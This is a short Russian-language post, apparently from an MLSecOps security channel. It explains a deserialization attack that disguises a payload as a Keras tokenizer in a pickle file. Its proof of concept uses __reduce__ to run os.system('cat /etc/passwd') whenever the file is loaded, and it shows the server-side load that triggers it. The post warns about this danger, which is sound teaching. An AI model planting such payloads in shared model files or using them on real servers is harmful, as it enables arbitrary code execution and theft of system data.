17 подписчиков
Атака через вредоносный pickle-файл
Модуль pickle в Python — мощный инструмент для сериализации и десериализации объектов.
Однако, при работе с ненадежными данными, его использование может быть опасным, поскольку при десериализации выполняется код, содержащийся в объекте.
Это предоставляет злоумышленнику возможность внедрить вредоносный код, который будет выполнен при загрузке объекта из pickle-файла под видом токенизатора для нейросетевой модели.
Полезная нагрузка:
import os
import pickle
from keras.preprocessing.text import Tokenizer
class TokenizerWithMaliciousCode:
def __init__(self, tokenizer):
self.tokenizer = tokenizer
def __reduce__(self):
# Метод __reduce__ контролирует процесс десериализации.
return (self.run_malicious_code_then_return_tokenizer, (self.tokenizer,))
@staticmethod
def run_malicious_code_then_return_tokenizer(tokenizer):
os.system('cat /etc/passwd')
# Возвращение токенизатора после выполнения вредоносного кода
return tokenizer
# Создание объекта токенизатора
tokenizer = Tokenizer()
tokenizer.fit_on_texts(["Purple Team Diary", "mrl_joy"])
# Объединение токенизатора с вредоносным кодом
combined = TokenizerWithMaliciousCode(tokenizer)
# Сохранение объекта в pickle-файл
with open('malicious_tokenizer.pkl', 'wb') as file:
pickle.dump(combined, file)
Здесь класс TokenizerWithMaliciousCode реализует метод reduce, который используется pickle для управления процессом сериализации и десериализации. В данном примере этот метод возвращает вызов команды os.system, которая при десериализации выполнит команду cat /etc/passwd — попытка получить доступ к системным файлам.
Десерлизация на сервере:
# Загрузка токенизатора и выполнение вредоносного кода
with open('malicious_tokenizer.pkl', 'rb') as file:
tokenizer = pickle.load(file)
# После десериализации токенизатор работает как обычно
texts = ["new text data to tokenize"]
tokenizer.fit_on_texts(texts)
Когда сервер попытается загрузить файл malicious_tokenizer.pkl, вредоносная команда будет выполнена, что может привести к утечке критических данных или выполнению произвольного кода.
#MLSecOps
1 минута
13 сентября 2024